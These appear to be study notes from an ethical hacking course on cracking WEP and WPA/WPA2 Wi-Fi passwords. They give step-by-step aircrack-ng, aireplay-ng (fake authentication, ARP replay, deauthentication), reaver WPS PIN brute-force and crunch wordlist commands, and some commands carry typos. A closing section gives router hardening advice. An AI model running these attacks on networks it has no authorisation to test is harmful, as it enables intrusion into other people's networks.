

WEP Cracking

- wired equivalent privacy
- old encryption, can be cracked easily
- still used in some networks
- uses RC4 algorithm

★ Data is encrypted using a key. Sent into the air. Router decrypts packet using the key.

- A unique key is created for each packet. A random 24 bit initialization vector is added to router password to form the key.

★ The initialization vector (IV) is sent in plain text & is too small (only 24 bits).

∴ IV's repeat. ∴ Vulnerable

To crack WEP:

- capture a large no. of packets (repeat)
- analyse & crack. ↳ (airodump-ng)
↳ (aircrack-ng)

↳ `# airodump-ng --bssid {3} --channel {3}`
`--write basic-wep mon0`

after this:

`# aircrack-ng basic-wep -01.cap`

→ this will show the key in ASCII also. If ASCII is not given, you can use KEY to unlock.

How?

- Copy the key (41:73:32:33:70)
- remove colons (4173323370)
- Copy it
- paste the key in the password section.

∴ WEP ~~is~~ Cracked.

★ It would have been difficult if network wasn't busy. The solⁿ is to force the AP to generate new IVs.
→ To do this, we need to show a false association with the Access Point.

False Authentication

`# airodump-ng --bssid {3} --channel {3}`
`--write arpreplay mon0`

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do ifconfig & get first 12 digits of 'unspec' field.

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aireplay-ng --fakeauth 0 -a {bssid} -h {MAC Address of wireless Adapter} mon0

→ this associates you to the target network. Now you can communicate w/ the network.

NOW:

- ① We'll wait for an ARP Packet
- ② Capture it & retransmit it
- ③ This causes the AP to produce another packet with a new IV
- ④ keep doing this till we have enough IVs to crack the key

∴ after association, do:

aireplay-ng --arpresplay -b {bssid} -h {MAC of WA3} mon0

→ once this is done, new packets with new IVs will be generated. And you can do aircrack-ng to get the key now.

aircrack-ng arpresplay-01.cap

WPA / WPA2 Cracking

★ Both can be cracked using the same methods

→ All methods work on both.

→ WPS is a feature used with WPA & WPA2.

→ it allows client to connect w/ password

→ Authentication is done using an 8 digit pin

↳ 8 digit is very small ∴ Vulnerable

★ This way only works if router is configured not to use PBC (Push Button Authentication)

∴ WPS is just a loophole if available.

★ To check networks which have WPS available:
#wash --interface mono

→ associate w/ the network now.

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# aireplay-ng --fakeauth 30 -a {bssid}
-h {mac WA} mono
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• Before running this, in another terminal do:

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# reaver --bssid {bssid} --channel {c}
--interface mono -vv --no-associate
```

→ this will bruteforce the pins.

★ Now run the association command, & get the pin.

★ If WPS is disabled, we need something else.

→ Now, packets contain no useful data. Only packets that can aid w/ the cracking process are the 4 handshaking packets.

Capture Handshake

→ run airodump-ng to get bssid

→ store data in a file by airodump-ng

→ now we must wait for a new client to connect. But, we can force this by a deauthentication attack. So that the client disconnects & connect again.

∴ do deauth attack. (send 4 deauth packets)

→ once handshake is captured, close airodump-ng.

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★ The handshake contains data that can be used to check if a key is valid or not.

∴ We'll create a wordlist containing a large no. of passwords. A ready-made wordlist can be downloaded.

Creating a wordlist

Syntax:

crunch [min] [max] [characters] -t [pattern] -o [fileName]
of ch. (if any)

eg:

crunch 6 8 123abc\$ -o wordlist -t a@@@@@b

Generates passus:

a a a a a b

a \$ \$ a a b

a \$ \$ \$ \$ b etc.

★ We'll run:

crunch 6 8 abc12 -o test.txt

→ this will generate a wordlist. This can now be used to attack WPA/WPA2.

★ aircrack-ng will unpack the handshake to get various useful data. Our password from wordlist will be combined with this data to check if it is correct.

(wordlist)
↑

aircrack-ng wpa-handshake-01.cap -w test.txt

→ It'll validate & return correct password if it is there in wordlist.

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Security (So that we are safe)

- run `# ip route`
- it'll show default gateways in current network
- copy router's ip address
- go to web browser & go to login page
- modify wifi settings
- ensure Security = WPA2 Personal
- use a long password (atleast 14 characters)
(mix symbols)
- disable WPS
- MAC filtering (a list of MAC address that connected
or only connect
 - either allow few
 - either deny few
 - both